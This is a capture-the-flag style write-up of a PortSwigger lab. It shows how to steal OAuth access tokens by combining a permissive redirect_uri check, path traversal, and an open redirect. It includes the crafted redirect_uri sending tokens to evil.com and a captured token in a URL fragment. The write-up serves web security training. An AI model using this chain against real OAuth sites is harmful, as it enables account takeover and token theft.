Stealing OAuth access tokens via an Open Redirect

Challenge can be found: https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirect

Preface

Compared to the OAuth Account Hijacking via redirect_uri challenge, in this case the Authorization Server seems to verify the redirect_url correctly except allowing additional information to be appended to the path. While in the majority of cases this would not necessarily lead to a vulnerability right away, it can lead to theft of an OAuth Access Token if the underlying web application is vulnerable to Open Redirect.

Reproduction Steps

As mentioned in the preface, in order for this vulnerability to work, the web application will need to be susceptible to a vulnerability such as Open Redirect. In this case, an Open Redirect was discovered in the post/next route:

https://0a5700e70381973fc0ab45ef0013000c.web-security-academy.net/post/next?path=http://test.com

Response:

HTTP/1.1 302 Found
Location: http://test.com
Connection: close
Content-Length: 0

Before moving further, validation of how the Authorization Server treats the redirect_uri is required. This means does the Authorization Server use a fuzzy match such as verifying that the host is correct? Or whether a strict verification meaning it strictly validates a one-to-one match with the URL.

It's simple to verify this, start the OAuth flow and note the redirect_uri which is passed by the Client to the Authorization Server:

GET /auth?client_id=crbkq546fk6cy3gmzj7f7&redirect_uri=https://0a30008f04a783f8c073833d00df00e8.web-security-academy.net/oauth-callback&response_type=token&nonce=1612538354&scope=openid%20profile%20email

Replay the respective request and modify the redirect_uri and observe whether the response is the same as before:

redirect_uri=https://evil.com

The response is clearly not the same and the server throws the following error:

: redirect_uri did not match any of the client's registered redirect_uris

You can go through the process of verifying whether maybe it only checks if the domain is in the URL, etc. However for the sake of brevity purposes, in this case the Authorization Server verifies the whole URL even down to the path. Although one interesting thing is that anything can be appended to the path and the logic will still return true:

https://0a30008f04a783f8c073833d00df00e8.web-security-academy.net/oauth-callback/abc/123

With this in mind, the Open Redirect vulnerability can now be chained with this feature to use dot dot slash ../ in order to traverse to the endpoint vulnerable to Open Redirect:

https://0a30008f04a783f8c073833d00df00e8.web-security-academy.net/oauth-callback/../post/next?path=http://evil.com

To test whether this works, proceed with the OAuth flow as normal however intercept the request which contains the redirect_uri and modify it to the value shown above.

After finishing with the OAuth dance, notice that the browser is redirected to:

\http://evil.com/#access_token=oPy25t6aeCiQeqo1MK6-5pXe96Q6QEt7L98LvR7mORQ&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email

As shown in the URL above, the access_token is appended as a URL fragment as the Implicit Flow is in-use.

In case you are curious, the URL fragment being persisted in a redirect is an interesting topic and is solely based on how the client (aka browser) handles it. RFC7231 mentions that the browser should inherit the URL fragment and append it for a subsequent redirect:

If the Location value provided in a 3xx (Redirection) response does
not have a fragment component, a user agent MUST process the
redirection as if the value inherits the fragment component of the
URI reference used to generate the request target (i.e., the
redirection inherits the original reference's fragment, if any).

Furthermore, it also states that it's the server's responsibility to clear out the fragment in the case where it may contain sensitive information:

In particular, when a redirect occurs and the
original request's fragment identifier is inherited by the new
reference in Location (Section 7.1.2), this might have the effect of
disclosing one site's fragment to another site.  If the first site
uses personal information in fragments, it ought to ensure that
redirects to other sites include a (possibly empty) fragment
component in order to block that inheritance.

Last updated